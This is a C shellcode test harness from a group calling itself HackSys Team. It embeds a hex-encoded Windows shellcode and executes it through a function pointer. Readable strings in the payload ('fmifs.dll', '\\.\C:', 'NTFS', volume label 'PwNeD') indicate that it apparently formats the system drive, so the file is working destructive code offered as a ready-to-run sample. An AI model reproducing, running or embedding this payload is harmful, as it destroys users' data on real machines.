#include <stdio.h>
#include <string.h>

/* 
                  _     __             _____                     
  /\  /\__ _  ___| | __/ _\_   _ ___  /__   \___  __ _ _ __ ___  
 / /_/ / _` |/ __| |/ /\ \| | | / __|   / /\/ _ \/ _` | '_ ` _ \ 
/ __  / (_| | (__|   < _\ \ |_| \__ \  / / |  __/ (_| | | | | | |
\/ /_/ \__,_|\___|_|\_\\__/\__, |___/  \/   \___|\__,_|_| |_| |_|
                           |___/                                 

                                http://hacksys.vfreaks.com/
                                  hacksysteam@hotmail.com

Module Name:

    Shellcode Test Encoded

Abstract:
    
    This program is used as a template to test 
    C style formatted shellcodes. A decoder is
	already added to the final shellcode output.
    
IDE: 
     
    Dev-C++ 4.9.9.2 (Windows XP SP3)
        
Compiler: 
          
    gcc 3.4.2

*/

unsigned char shellcode[] = 
"\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50"
"\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83"
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b"
"\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c"
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20"
"\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b"
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff"
"\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83"
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00"
"\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b"
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64"
"\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4"
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46"
"\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33"
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75"
"\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89"
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff"
"\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8"
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64"
"\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf"
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00"
"\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83"
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52"
"\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d"
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff"
"\xd3\x8d\x86\x26\x00\x00\x00\x50\x68\x00\x10"
"\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50"
"\x8d\x86\x10\x00\x00\x00\x50\x6a\x0c\x8d\x46"
"\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00"
"\x00\x8b\x5d\x04\xff\xd3\x89\xf9\x83\x46\x08"
"\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8"
"\x7d\xff\xff\xff\x5c\x00\x5c\x00\x2e\x00\x5c"
"\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00"
"\x54\x00\x46\x00\x53\x00\x00\x00"
// Volume Label. You may want to change this.
// Default: PwNeD
"\x50\x00\x77\x00\x4e\x00\x65\x00\x44\x00"
// Volume Label End
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00";


main()
{

    int i, badchar_c = 0;
	
    printf("\n\nShellcode Length: %d\n", sizeof(shellcode)-1);
	
    for(i = 0; i < sizeof(shellcode)-1; ++i) {
          if(((unsigned char *)shellcode)[i] == 0x00) {
                        badchar_c = badchar_c + 1;
          }
    }
    printf("\nNumber of badchar: %d\n\n", badchar_c);
	
    printf("\nPress any key to execute shellcode....\n\n");

    getch();

    int (*ret)() = (int(*)())shellcode;

    ret();

}